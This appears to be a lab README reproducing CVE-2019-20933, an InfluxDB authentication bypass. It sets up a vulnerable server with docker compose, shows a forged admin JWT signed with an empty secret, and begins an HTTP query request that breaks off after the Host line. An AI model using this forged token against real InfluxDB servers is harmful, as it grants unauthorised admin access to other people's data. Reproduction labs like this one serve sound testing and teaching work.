# InfluxDB Empty JWT Secret Key Authentication Bypass (CVE-2019-20933)
|
|
|
|
[中文版本(Chinese version)](README.zh-cn.md)
|
|
|
|
InfluxDB is an open-source time series database developed by the company InfluxData.
|
|
|
|
InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in `services/httpd/handler.go` because a JWT token may have an empty SharedSecret (aka shared secret).

|
|
|
|
## Vulnerable Environment
|
|
|
|
Execute following command to start a InfluxDB 1.6.6:
|
|
|
|
```
|
|
docker compose up -d
|
|
```
|
|
|
|
After server is started, you can see some debug information in `http://your-ip:8086/debug/vars`. But you are unable to execute SQL statement without authencation and a 401 error is responsed:
|
|
|
|

|
|
|
|
## Vulnerability Reproduce
|
|
|
|
We can use <https://jwt.io/> to generate a valid JWT token with an empty secret key:
|
|
|
|
```
|
|
{
|
|
"alg": "HS256",
|
|
"typ": "JWT"
|
|
}
|
|
{
|
|
"username": "admin",
|
|
"exp": 2986346267
|
|
}
|
|
```
|
|
|
|
Where `username` is the administrator account name, and `exp` is the token expiration time. You should set `exp` to a future time to make it effect:
|
|
|
|

|
|
|
|
Then take this token to the request, and success to execute SQL statement `show users` in the server:
|
|
|
|
```
|
|
POST /query HTTP/1.1
|
|
Host: your-ip
|
|
